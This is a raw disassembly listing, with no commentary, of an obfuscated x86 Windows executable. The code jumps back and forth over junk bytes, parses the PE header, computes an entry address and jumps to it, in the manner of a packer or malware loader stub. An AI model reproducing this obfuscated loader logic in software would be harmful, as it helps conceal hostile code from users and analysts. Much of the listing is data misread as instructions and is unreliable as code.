		jmp	short loc_4089B9
; ---------------------------------------------------------------------------
		db 0FEh
; ---------------------------------------------------------------------------
		pop	edi
		lodsb
		jnz	short loc_4089D2
		jnp	short loc_408962
		icebp
		setalc
		push	edi
		inc	esp


loc_4089CE:				; CODE XREF: .text:loc_4089E4j
		jmp	short loc_4089FF
; ---------------------------------------------------------------------------
		db 2Dh,	62h
; ---------------------------------------------------------------------------


loc_4089D2:				; CODE XREF: .text:004089C6j
		rep mov	al, 29h
		scasb
		dec	edi
		fsubr	st(5), st
		mov	edx, 8661C86Bh
		inc	edi
		jz	short loc_40897E
		adc	ah, bl
; ---------------------------------------------------------------------------
		db 0E0h
; ---------------------------------------------------------------------------


loc_4089E4:				; CODE XREF: .text:loc_4089B9j
		jmp	short loc_4089CE
; ---------------------------------------------------------------------------
		cdq
		pop	esi
		aas
		or	al, 55h
		push	5Bh
		clc
		sal	dword ptr [esi], 1
		aaa
		movsb
		or	eax, 910D3C2h
		push	cs
		das
		cmp	al, 0C5h
		sbb	cl, [ebx+28h]
		inc	ecx


loc_4089FF:				; CODE XREF: .text:loc_4089CEj
		pop	dword ptr [edi+1Ch]
		jmp	short loc_408A32
; ---------------------------------------------------------------------------
		dd 1FBE7940h
		db 6Ch,	35h, 0CAh
; ---------------------------------------------------------------------------


loc_408A0B:				; CODE XREF: .text:loc_408A32j
		jmp	short loc_408A42
; ---------------------------------------------------------------------------
		db 3Bh,	58h, 0B1h
		dd 0ED041796h, 0E970B322h, 0A59C0F6Eh, 21882B7Ah, 5D340746h
		dd 59A0A3D2h, 15CCFF1Eh, 91B81B2Ah
; ---------------------------------------------------------------------------
		div	bh


loc_408A32:				; CODE XREF: .text:00408A02j
		jmp	short loc_408A0B
; ---------------------------------------------------------------------------
		dd 9382CD64h
; ---------------------------------------------------------------------------


loc_408A38:				; CODE XREF: .text:loc_408A42j
		jmp	short loc_408A65
; ---------------------------------------------------------------------------
		dw 0C9D0h
		dd 85FCEFCEh
; ---------------------------------------------------------------------------
		fimul	dword ptr [ebx]


loc_408A42:				; CODE XREF: .text:loc_408A0Bj
		jmp	short loc_408A38
; ---------------------------------------------------------------------------
		dd 0E7A601E8h, 83323D94h, 0DF7E3900h, 0FB8AF52Ch, 0D7567118h
		dd 73E2ADC4h, 0CF2EA930h, 0EB3A655Ch
; ---------------------------------------------------------------------------
		dec	eax


loc_408A65:				; CODE XREF: .text:loc_408A38j
		jmp	loc_408AA1
; ---------------------------------------------------------------------------
		push	eax
		push	edi
		xchg	eax, eax
		std
		rcl	edi, 0F8h
		dec	eax
		cld
		pop	edi
		pop	eax


loc_408A76:				; CODE XREF: .text:00408866j
		mov	edi, [edi]
		push	edi
		push	edx
		mov	edx, esi
		dec	edi
		cld
		pop	edx
		pop	edi
		cmp	[esp], edi
		jnz	loc_408863
		push	ecx
		push	edi
		xor	edi, edi
		shl	edi, 0Ah
		clc
		xor	ecx, edx
		ror	edi, 98h
		mov	edi, 808822h
		mov	ecx, ecx
		dec	ecx
		cld
		pop	edi
		pop	ecx


loc_408AA1:				; CODE XREF: .text:loc_408A65j
		mov	ebx, ebp
		push	ecx
		push	ebx
		test	al, dh
		inc	ebx
		xor	ecx, edx
		jmp	loc_408AB0
; ---------------------------------------------------------------------------
		dec	ecx


loc_408AB0:				; CODE XREF: .text:00408AAAj
		xor	ebx, eax
		mov	ecx, edx
		mov	ebx, esi
		test	al, dh
		cld
		pop	ebx
		pop	ecx
		add	ebx, [ebx+3Ch]
		jmp	short loc_408AEE
; ---------------------------------------------------------------------------
		dd 428D24B7h
		db 53h,	90h, 89h
; ---------------------------------------------------------------------------


loc_408AC7:				; CODE XREF: .text:loc_408AEEj
		jmp	short loc_408AFE
; ---------------------------------------------------------------------------
		db 8Eh,	0AFh, 0BCh
		dd 0A8CB9A45h, 54A766C1h, 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h
		dd 84971631h, 0F033A26Dh, 1C8FEE69h
		db 25h,	0FAh
; ---------------------------------------------------------------------------


loc_408AEE:				; CODE XREF: .text:00408ABEj
		jmp	short loc_408AC7
; ---------------------------------------------------------------------------
		dd 0C6A108ABh
; ---------------------------------------------------------------------------


loc_408AF4:				; CODE XREF: .text:loc_408AFEj
		jmp	short loc_408B21
; ---------------------------------------------------------------------------
		xchg	esi, [ebp+ebx*8-26DFDCAEh]
		sahf


loc_408AFE:				; CODE XREF: .text:loc_408AC7j
		jmp	short loc_408AF4
; ---------------------------------------------------------------------------
		db 7Fh
; ---------------------------------------------------------------------------


loc_408B01:				; CODE XREF: .text:loc_408B21j
		jmp	short loc_408B31
; ---------------------------------------------------------------------------
		db 4Ch
		dd 389BAA95h, 0E4777611h, 5013024Dh, 7C6F4E49h,	688B5A05h
		dd 14672681h, 8003B2BDh
		db 0B9h
; ---------------------------------------------------------------------------


loc_408B21:				; CODE XREF: .text:loc_408AF4j
		jmp	short loc_408B01
; ---------------------------------------------------------------------------
		db 0FEh
		dd 0A75AC5Fh, 0D6F1987Bh, 622D4457h
		db 0F3h
; ---------------------------------------------------------------------------


loc_408B31:				; CODE XREF: .text:loc_408B01j
		mov	eax, [ebx+34h]
		jmp	short loc_408B66
; ---------------------------------------------------------------------------
		dw 0DC4Fh
		dd 0C86BBAE5h
; ---------------------------------------------------------------------------
		popa


loc_408B3D:				; CODE XREF: .text:loc_408B66j
		jmp	short loc_408B7D
; ---------------------------------------------------------------------------
		db 86h
		dd 129D7447h, 5E99E0E3h, 6A550C3Fh, 36D1F85Bh, 0C20DA437h
		dd 0E0910D3h, 1AC53C2Fh, 0E641284Bh, 727DD427h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		inc	eax


loc_408B66:				; CODE XREF: .text:00408B34j
		jmp	short loc_408B3D
; ---------------------------------------------------------------------------
		dd 6C1FBE79h, 583BCA35h, 41796B1h, 70B322EDh, 9C0F6EE9h
; ---------------------------------------------------------------------------
		movsd


loc_408B7D:				; CODE XREF: .text:loc_408B3Dj
		sub	eax, ebp
		jmp	short loc_408BAB
; ---------------------------------------------------------------------------
		db 0A3h, 0A0h, 59h
		dd 15CCFF1Eh
; ---------------------------------------------------------------------------


loc_408B88:				; CODE XREF: .text:loc_408BABj
		jmp	short loc_408BBC
; ---------------------------------------------------------------------------
		dw 1B2Ah
		dd 0F7F691B8h, 9382CD64h, 0EFCEC9D0h, 0BDA85FCh, 0E7A601E8h
		dd 83323D94h, 0DF7E3900h
		db 2Ch,	0F5h, 8Ah
; ---------------------------------------------------------------------------


loc_408BAB:				; CODE XREF: .text:00408B7Fj
		jmp	short loc_408B88
; ---------------------------------------------------------------------------
		db 0FBh, 18h, 71h
		dd 0ADC4D756h, 0A93073E2h, 655CCF2Eh
; ---------------------------------------------------------------------------


loc_408BBC:				; CODE XREF: .text:loc_408B88j
		push	22F50h
		push	edi
		push	eax
		push	esi
		pop	eax
		mov	edi, ecx
		test	al, ah
		mov	ax, 4A45h
		test	al, ch
		xor	eax, ebx
		std
		cld
		pop	eax
		pop	edi
		pop	edx
		push	edx
		push	eax
		test	al, bh
		xor	eax, edi
		test	ecx, esp
		clc
		cld
		pop	eax
		pop	edx
		add	edx, ebp
		jmp	short loc_408C15
; ---------------------------------------------------------------------------
		dw 6392h
; ---------------------------------------------------------------------------
		pusha


loc_408BE9:				; CODE XREF: .text:loc_408C15j
		jmp	short loc_408C2E
; ---------------------------------------------------------------------------
		sbb	esi, ebx
		mov	edi, 0DBEAD58Ch
		js	short loc_408C45
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		dw 0C1A8h
		dd 0FD54A766h, 0F9C043F2h, 0B5EC9F3Eh, 31D8BB4Ah
; ---------------------------------------------------------------------------
		push	ss


loc_408C15:				; CODE XREF: .text:00408BE4j
		jmp	short loc_408BE9
; ---------------------------------------------------------------------------
		db 97h
		dd 33A26D84h, 8FEE69F0h, 0ABFA251Ch, 87C6A108h,	2352DDB4h
; ---------------------------------------------------------------------------
		and	cl, bl


loc_408C2E:				; CODE XREF: .text:loc_408BE9j
		add	edx, 0Dh
		jmp	short loc_408C61
; ---------------------------------------------------------------------------
		db 38h
		dd 0E4777611h
		db 4Dh,	2
; ---------------------------------------------------------------------------


loc_408C3A:				; CODE XREF: .text:loc_408C61j
		jmp	short loc_408C71
; ---------------------------------------------------------------------------
		dd 4E495013h, 5A057C6Fh
		db 8Bh
; ---------------------------------------------------------------------------


loc_408C45:				; CODE XREF: .text:00408BF2j
		push	14672681h
		mov	ebp, 0B98003B2h
; ---------------------------------------------------------------------------
		db 0FEh
		dd 0A75AC5Fh, 0D6F1987Bh, 622D4457h, 0AE29B0F3h
; ---------------------------------------------------------------------------
		dec	edi


loc_408C61:				; CODE XREF: .text:00408C31j
		jmp	short loc_408C3A
; ---------------------------------------------------------------------------
		db 0DCh
		db 0E5h, 0BAh, 6Bh
; ---------------------------------------------------------------------------


loc_408C67:				; CODE XREF: .text:loc_408C71j
		jmp	short loc_408C94
; ---------------------------------------------------------------------------
		db 0C8h, 61h, 86h
		dd 129D7447h
		db 0E3h
; ---------------------------------------------------------------------------


loc_408C71:				; CODE XREF: .text:loc_408C3Aj
		jmp	short loc_408C67
; ---------------------------------------------------------------------------
		db 0E0h
		dd 0C3F5E99h, 0F85B6A55h, 0A43736D1h, 10D3C20Dh, 3C2F0E09h
		dd 284B1AC5h, 0D427E641h, 40C3727Dh
; ---------------------------------------------------------------------------


loc_408C94:				; CODE XREF: .text:loc_408C67j
		push	1001F000h
		jmp	short loc_408CC4
; ---------------------------------------------------------------------------
		cmp	ebx, [eax-4Fh]


loc_408C9E:				; CODE XREF: .text:loc_408CC4j
		jmp	short loc_408CD4
; ---------------------------------------------------------------------------
		dd 0ED041796h, 0E970B322h, 0A59C0F6Eh, 21882B7Ah, 5D340746h
		dd 59A0A3D2h, 15CCFF1Eh, 91B81B2Ah, 0CD64F7F6h
; ---------------------------------------------------------------------------


loc_408CC4:				; CODE XREF: .text:00408C99j
		jmp	short loc_408C9E
; ---------------------------------------------------------------------------
		db 82h
; ---------------------------------------------------------------------------


loc_408CC7:				; CODE XREF: .text:loc_408CD4j
		jmp	short loc_408CF3
; ---------------------------------------------------------------------------
		db 93h,	0D0h, 0C9h
		dd 85FCEFCEh, 1E80BDAh
; ---------------------------------------------------------------------------


loc_408CD4:				; CODE XREF: .text:loc_408C9Ej
		jmp	short loc_408CC7
; ---------------------------------------------------------------------------
		dw 0E7A6h
		dd 83323D94h, 0DF7E3900h, 0FB8AF52Ch, 0D7567118h, 73E2ADC4h
		dd 0CF2EA930h
		db 5Ch,	65h, 3Ah
; ---------------------------------------------------------------------------


loc_408CF3:				; CODE XREF: .text:loc_408CC7j
		pop	ecx
		jmp	short loc_408D21
; ---------------------------------------------------------------------------
		dw 1DF4h
; ---------------------------------------------------------------------------
		xchg	eax, edx


loc_408CF9:				; CODE XREF: .text:loc_408D21j
		jmp	short loc_408D34
; ---------------------------------------------------------------------------
		db 63h
; ---------------------------------------------------------------------------
		pusha
		sbb	esi, ebx
		mov	edi, 0DBEAD58Ch
		js	short loc_408D57
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		dd 0A766C1A8h, 43F2FD54h, 9F3EF9C0h ; CODE XREF: .text:00408D7Dj
					; .text:00408D81j
		db 0ECh
; ---------------------------------------------------------------------------


loc_408D21:				; CODE XREF: .text:00408CF4j
		jmp	short loc_408CF9
; ---------------------------------------------------------------------------
		db 0B5h
		dd 31D8BB4Ah, 6D849716h
		db 0A2h, 33h
; ---------------------------------------------------------------------------


loc_408D2E:				; CODE XREF: .text:loc_408D34j
		jmp	short loc_408D5F
; ---------------------------------------------------------------------------
		dd 8FEE69F0h
; ---------------------------------------------------------------------------


loc_408D34:				; CODE XREF: .text:loc_408CF9j
		jmp	short loc_408D2E
; ---------------------------------------------------------------------------
		dw 251Ch
		dd 0A108ABFAh, 0DDB487C6h, 0D9202352h, 954C7F9Eh, 11389BAAh
		dd 4DE47776h, 49501302h
		db 4Eh,	6Fh, 7Ch
; ---------------------------------------------------------------------------


loc_408D57:				; CODE XREF: .text:00408D04j
		add	eax, 81688B5Ah
; ---------------------------------------------------------------------------
		db 26h,	67h, 14h
; ---------------------------------------------------------------------------


loc_408D5F:				; CODE XREF: .text:loc_408D2Ej
		sub	ecx, eax
		jmp	short loc_408D90
; ---------------------------------------------------------------------------
		lodsb
		jnz	short loc_408D70


loc_408D66:				; CODE XREF: .text:loc_408D90j
		jmp	short loc_408DA6
; ---------------------------------------------------------------------------
		dd 0D6F1987Bh, 622D4457h
; ---------------------------------------------------------------------------


loc_408D70:				; CODE XREF: .text:00408D64j
		rep mov	al, 29h
		scasb
		dec	edi
		fsubr	st(5), st
		mov	edx, 8661C86Bh
		inc	edi
		jz	short near ptr dword_408D14+8
		adc	ah, bl
		loopne	near ptr dword_408D14+8
		pop	esi
		aas
		or	al, 55h
		push	5Bh
		clc
		sal	dword ptr [esi], 1
		aaa
		movsb
; ---------------------------------------------------------------------------
		dw 0C20Dh
; ---------------------------------------------------------------------------


loc_408D90:				; CODE XREF: .text:00408D61j
		jmp	short loc_408D66
; ---------------------------------------------------------------------------
		rcl	dword ptr [eax], cl
		or	[esi], ecx


loc_408D96:				; CODE XREF: .text:loc_408DA6j
		jmp	short loc_408DC1
; ---------------------------------------------------------------------------
		dd 1AC53C2Fh, 0E641284Bh, 727DD427h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		inc	eax


loc_408DA6:				; CODE XREF: .text:loc_408D66j
		jmp	short loc_408D96
; ---------------------------------------------------------------------------
		db 79h,	0BEh, 1Fh
; ---------------------------------------------------------------------------


loc_408DAB:				; CODE XREF: .text:loc_408DC1j
		jmp	short loc_408DDC
; ---------------------------------------------------------------------------
		db 6Ch,	35h, 0CAh
		dd 96B1583Bh, 22ED0417h, 6EE970B3h, 7AA59C0Fh
		db 2Bh
; ---------------------------------------------------------------------------


loc_408DC1:				; CODE XREF: .text:loc_408D96j
		jmp	short loc_408DAB
; ---------------------------------------------------------------------------
		db 88h
		dd 34074621h, 0A0A3D25Dh, 0CCFF1E59h, 0B81B2A15h, 64F7F691h
		dd 0D09382CDh
; ---------------------------------------------------------------------------


loc_408DDC:				; CODE XREF: .text:loc_408DABj
		mov	[edx], ecx
		push	edi
		push	esi
		stc
		mov	esi, esp
		cld
		pop	esi
		pop	edi


loc_408DE6:				; CODE XREF: .text:00408674j
		popa
		push	ecx
		push	ebx
		neg	ecx
		mov	ecx, ecx
		xchg	ecx, ebx
		stc
		cld
		pop	ebx
		pop	ecx
		call	loc_4065CD
		push	eax
		push	edi
		lea	eax, ds:8087DAh
		mov	ax, 49ABh
		std
		cld
		pop	edi
		pop	eax
		add	eax, 22F50h
		push	ebx
		push	edx
		lea	ebx, ds:80881Ah
		stc
		cld
		pop	edx
		pop	ebx
		jmp	eax
; ---------------------------------------------------------------------------
		push	esi
		push	edx
		dec	esi
		test	al, ah
		cld
		pop	edx
		pop	esi

; =============== S U B	R O U T	I N E =======================================



sub_408E23	proc far		; CODE XREF: .text:loc_408068p
					; .text:loc_408192p

arg_FFFFFFFC	= dword	ptr  4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00408FDE SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00408FEE SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00409004 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0040900B SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00409017 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00409022 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00409053 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00409075 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0040907C SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00409085 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0040909D SIZE 00000002 BYTES
; FUNCTION CHUNK AT 004090AC SIZE 00000002 BYTES
; FUNCTION CHUNK AT 004090CB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004090D7 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 004090FC SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0040910C SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0040913B SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00409162 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 00409177 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0040917D SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00409196 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 004091AD SIZE 0000002A BYTES
; FUNCTION CHUNK AT 004091DE SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00409205 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00409215 SIZE 00000073 BYTES
; FUNCTION CHUNK AT 0040928F SIZE 00000002 BYTES
; FUNCTION CHUNK AT 004092B4 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 004092C4 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004092D2 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 004092FB SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00409312 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00409320 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0040933B SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00409341 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00409352 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00409362 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00409371 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00409390 SIZE 00000061 BYTES
; FUNCTION CHUNK AT 004093F8 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00409421 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00409433 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00409446 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0040946B SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0040947B SIZE 00000016 BYTES

		push	esi
		jmp	short loc_408E55
; ---------------------------------------------------------------------------
		dw 0F52Ch
		db 8Ah
; ---------------------------------------------------------------------------


loc_408E29:				; CODE XREF: sub_408E23:loc_408E55j
		jmp	short loc_408E68
; ---------------------------------------------------------------------------
		db 0FBh
		dd 0D7567118h, 73E2ADC4h, 0CF2EA930h, 0EB3A655Ch, 0C706E148h
		dd 63921DF4h, 0BFDE1960h, 0DBEAD58Ch, 0B7B65178h, 53428D24h
		db 90h
; ---------------------------------------------------------------------------


loc_408E55:				; CODE XREF: sub_408E23+1j
		jmp	short loc_408E29
; ---------------------------------------------------------------------------
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------


loc_408E5E:				; CODE XREF: sub_408E23:loc_408E68j
		jmp	short loc_408E8B
; ---------------------------------------------------------------------------
		dd 0A766C1A8h, 43F2FD54h
; ---------------------------------------------------------------------------


loc_408E68:				; CODE XREF: sub_408E23:loc_408E29j
		jmp	short loc_408E5E
; ---------------------------------------------------------------------------


loc_408E6A:				; CODE XREF: sub_408E23:loc_408E8Bj
		jmp	short loc_408E9B
; ---------------------------------------------------------------------------
		dd 9F3EF9C0h, 0BB4AB5ECh, 971631D8h, 33A26D84h,	8FEE69F0h
		dd 0ABFA251Ch, 87C6A108h
; ---------------------------------------------------------------------------
		mov	ah, 0DDh
		push	edx


loc_408E8B:				; CODE XREF: sub_408E23:loc_408E5Ej
		jmp	short loc_408E6A
; ---------------------------------------------------------------------------
		db 23h,	20h, 0D9h
		dd 954C7F9Eh, 11389BAAh
		db 76h,	77h, 0E4h
; ---------------------------------------------------------------------------


loc_408E9B:				; CODE XREF: sub_408E23:loc_408E6Aj
		push	edi
		jmp	short loc_408ECB
; ---------------------------------------------------------------------------
		dw 4E49h
		dd 5A057C6Fh, 2681688Bh, 0B2BD1467h, 0FEB98003h, 0A75AC5Fh
		dd 0D6F1987Bh
; ---------------------------------------------------------------------------


loc_408EB8:				; CODE XREF: sub_408E23:loc_408ECBj
		jmp	short loc_408EEA
; ---------------------------------------------------------------------------
		push	edi
		inc	esp
		sub	eax, 29B0F362h
		scasb
		dec	edi
		fsubr	st(5), st
		mov	edx, 8661C86Bh
		inc	edi


loc_408ECB:				; CODE XREF: sub_408E23+79j
		jmp	short loc_408EB8
; ---------------------------------------------------------------------------
		db 74h,	9Dh, 12h
		dd 5E99E0E3h, 6A550C3Fh, 36D1F85Bh, 0C20DA437h,	0E0910D3h
		dd 1AC53C2Fh
		db 4Bh,	28h
; ---------------------------------------------------------------------------


loc_408EEA:				; CODE XREF: sub_408E23:loc_408EB8j
		push	ecx
		jmp	short loc_408F16
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		dw 7940h
; ---------------------------------------------------------------------------


loc_408EF0:				; CODE XREF: sub_408E23:loc_408F16j
		jmp	short loc_408F26
; ---------------------------------------------------------------------------
		dw 1FBEh
		dd 3BCA356Ch, 1796B158h, 0B322ED04h, 0F6EE970h,	2B7AA59Ch
		dd 7462188h, 0A3D25D34h, 0FF1E59A0h
		db 0CCh
		db 15h
; ---------------------------------------------------------------------------


loc_408F16:				; CODE XREF: sub_408E23+C8j
		jmp	short loc_408EF0
; ---------------------------------------------------------------------------
		db 2Ah
; ---------------------------------------------------------------------------


loc_408F19:				; CODE XREF: sub_408E23:loc_408F26j
		jmp	short loc_408F45
; ---------------------------------------------------------------------------
		db 1Bh
		dd 0F7F691B8h, 9382CD64h
; ---------------------------------------------------------------------------
		ror	cl, 1


loc_408F26:				; CODE XREF: sub_408E23:loc_408EF0j
		jmp	short loc_408F19
; ---------------------------------------------------------------------------
		dd 85FCEFCEh, 1E80BDAh,	3D94E7A6h, 39008332h, 0F52CDF7Eh
		dd 7118FB8Ah, 0ADC4D756h
		db 0E2h
; ---------------------------------------------------------------------------


loc_408F45:				; CODE XREF: sub_408E23:loc_408F19j
		mov	ecx, [esp+0Ch+arg_4]
		jmp	short loc_408F76
; ---------------------------------------------------------------------------
		db 5Ch
		db 65h,	3Ah
; ---------------------------------------------------------------------------


loc_408F4E:				; CODE XREF: sub_408E23:loc_408F76j
		jmp	short loc_408F89
; ---------------------------------------------------------------------------
		jmp	short loc_408F9A
; ---------------------------------------------------------------------------
		dw 6E1h
		dd 921DF4C7h, 0DE196063h, 0EAD58CBFh, 0B65178DBh, 428D24B7h
		dd 8E899053h, 9A45BCAFh, 66C1A8CBh
; ---------------------------------------------------------------------------
		cmpsd
		push	esp


loc_408F76:				; CODE XREF: sub_408E23+126j
		jmp	short loc_408F4E
; ---------------------------------------------------------------------------
		db 0FDh, 0F2h, 43h
; ---------------------------------------------------------------------------


loc_408F7B:				; CODE XREF: sub_408E23:loc_408F89j
		jmp	short loc_408FAC
; ---------------------------------------------------------------------------
		db 0C0h, 0F9h, 3Eh
		dd 4AB5EC9Fh, 1631D8BBh
; ---------------------------------------------------------------------------


loc_408F88:				; CODE XREF: sub_408E23:loc_408FEEj
		xchg	eax, edi


loc_408F89:				; CODE XREF: sub_408E23:loc_408F4Ej
		jmp	short loc_408F7B
; ---------------------------------------------------------------------------
		db 84h
		dd 0F033A26Dh, 1C8FEE69h, 8ABFA25h
		db 0A1h, 0C6h
; ---------------------------------------------------------------------------


loc_408F9A:				; CODE XREF: sub_408E23+12Dj
		xchg	esi, [ebp+ebx*8-26DFDCAEh]
		sahf
		jg	short loc_408FF0
		xchg	eax, ebp
		stosb
		wait
		cmp	[ecx], dl
		jbe	short loc_409022
; ---------------------------------------------------------------------------
		db 0E4h
; ---------------------------------------------------------------------------


loc_408FAC:				; CODE XREF: sub_408E23:loc_408F7Bj
		sub	ecx, 4
		push	ecx
		push	eax
		dec	ecx
		adc	ecx, 808F1Ah
		mov	cx, 49C2h
		xor	ecx, esp
		inc	eax
		cld
		cld
		pop	eax
		pop	ecx
		mov	edi, ebp
		push	eax
		push	edi
		xor	edi, edx
		mov	edi, esi
		rcl	edi, 0FCh
		neg	eax
		cmp	dl, al
		cld
		pop	edi
		pop	eax
		mov	eax, [esp+0Ch+arg_FFFFFFFC]
		jmp	short loc_409004
sub_408E23	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 5Ah
		db 8Bh,	68h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408E23


loc_408FDE:				; CODE XREF: sub_408E23:loc_409004j
		jmp	short loc_409017
; END OF FUNCTION CHUNK	FOR sub_408E23
; ---------------------------------------------------------------------------
		dd 14672681h, 8003B2BDh, 0AC5FFEB9h
		db 75h,	0Ah
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408E23


loc_408FEE:				; CODE XREF: sub_408E23+20Bj
		jnp	short loc_408F88


loc_408FF0:				; CODE XREF: sub_408E23+17Fj
					; sub_408E23+208j
		icebp
		setalc
		push	edi
		inc	esp
		sub	eax, 29B0F362h
		scasb
		dec	edi
		fsubr	st(5), st
; END OF FUNCTION CHUNK	FOR sub_408E23
; ---------------------------------------------------------------------------
		db 0BAh	; º
		db  6Bh	; k
		db 0C8h	; È
_text		ends

; Section 2. (virtual address 00009000)
; Virtual size			: 00008000 (  32768.)
; Section size in file		: 00008000 (  32768.)
; Offset to raw	data for section: 00009000
; Flags	40000040: Data Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 409000h
		dd 74478661h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408E23


loc_409004:				; CODE XREF: sub_408E23+1B6j
		jmp	short loc_408FDE
; END OF FUNCTION CHUNK	FOR sub_408E23
; ---------------------------------------------------------------------------
		dw 129Dh
		db 0E3h, 0E0h, 99h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408E23


loc_40900B:				; CODE XREF: sub_408E23:loc_409017j
		jmp	short loc_409038
; END OF FUNCTION CHUNK	FOR sub_408E23
; ---------------------------------------------------------------------------
		db 5Eh,	3Fh, 0Ch
		dd 0F85B6A55h
		db 0D1h, 36h, 37h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408E23


loc_409017:				; CODE XREF: sub_408E23:loc_408FDEj
		jmp	short loc_40900B
; END OF FUNCTION CHUNK	FOR sub_408E23
; ---------------------------------------------------------------------------
		db 0A4h, 0Dh, 0C2h
		dd 0E0910D3h
		db 2Fh,	3Ch
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408E23


loc_409022:				; CODE XREF: sub_408E23+186j
		lds	ebx, [edx]
		dec	ebx
		sub	[ecx-1Ah], al
		daa
		aam	7Dh
		jb	short loc_408FF0
		inc	eax
		jns	short loc_408FEE
		pop	ds
		insb
		xor	eax, 0B1583BCAh
		xchg	eax, esi


loc_409038:				; CODE XREF: sub_408E23:loc_40900Bj
		add	edi, eax
		push	edx
		push	edi
		test	cl, al
		inc	edx
		cld
		pop	edi
		pop	edx
		mov	eax, [esp+8+arg_4]
		jmp	short loc_409075
; END OF FUNCTION CHUNK	FOR sub_408E23
; ---------------------------------------------------------------------------
		dd 882B7AA5h, 34074621h
		db 5Dh,	0D2h, 0A3h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408E23


loc_409053:				; CODE XREF: sub_408E23:loc_409075j
		jmp	short loc_409085
; END OF FUNCTION CHUNK	FOR sub_408E23
; ---------------------------------------------------------------------------
		db 0A0h, 59h, 1Eh
		dd 2A15CCFFh, 0F691B81Bh, 82CD64F7h, 0CEC9D093h, 0DA85FCEFh
		dd 0A601E80Bh, 323D94E7h
		db 83h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408E23


loc_409075:				; CODE XREF: sub_408E23+223j
		jmp	short loc_409053
; END OF FUNCTION CHUNK	FOR sub_408E23
; ---------------------------------------------------------------------------
		align 4
		dd 2CDF7E39h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408E23


loc_40907C:				; CODE XREF: sub_408E23:loc_409085j
		jmp	short loc_4090AC
; END OF FUNCTION CHUNK	FOR sub_408E23
; ---------------------------------------------------------------------------
		dw 8AF5h
		dd 567118FBh
		db 0D7h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408E23


loc_409085:				; CODE XREF: sub_408E23:loc_409053j
		jmp	short loc_40907C
; END OF FUNCTION CHUNK	FOR sub_408E23
; ---------------------------------------------------------------------------
		db 0C4h
		dd 3073E2ADh, 5CCF2EA9h, 48EB3A65h, 0F4C706E1h,	6063921Dh
		db 19h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408E23


loc_40909D:				; CODE XREF: sub_408E23:loc_4090ACj
		jmp	short loc_4090CB
; END OF FUNCTION CHUNK	FOR sub_408E23
; ---------------------------------------------------------------------------
		db 0DEh
		dd 0EAD58CBFh, 0B65178DBh, 428D24B7h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408E23


loc_4090AC:				; CODE XREF: sub_408E23:loc_40907Cj
		jmp	short loc_40909D
; END OF FUNCTION CHUNK	FOR sub_408E23
; ---------------------------------------------------------------------------
		dw 9053h
		dd 0BCAF8E89h, 0A8CB9A45h, 54A766C1h, 0C043F2FDh, 0EC9F3EF9h
		dd 0D8BB4AB5h
		db 31h,	16h, 97h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408E23


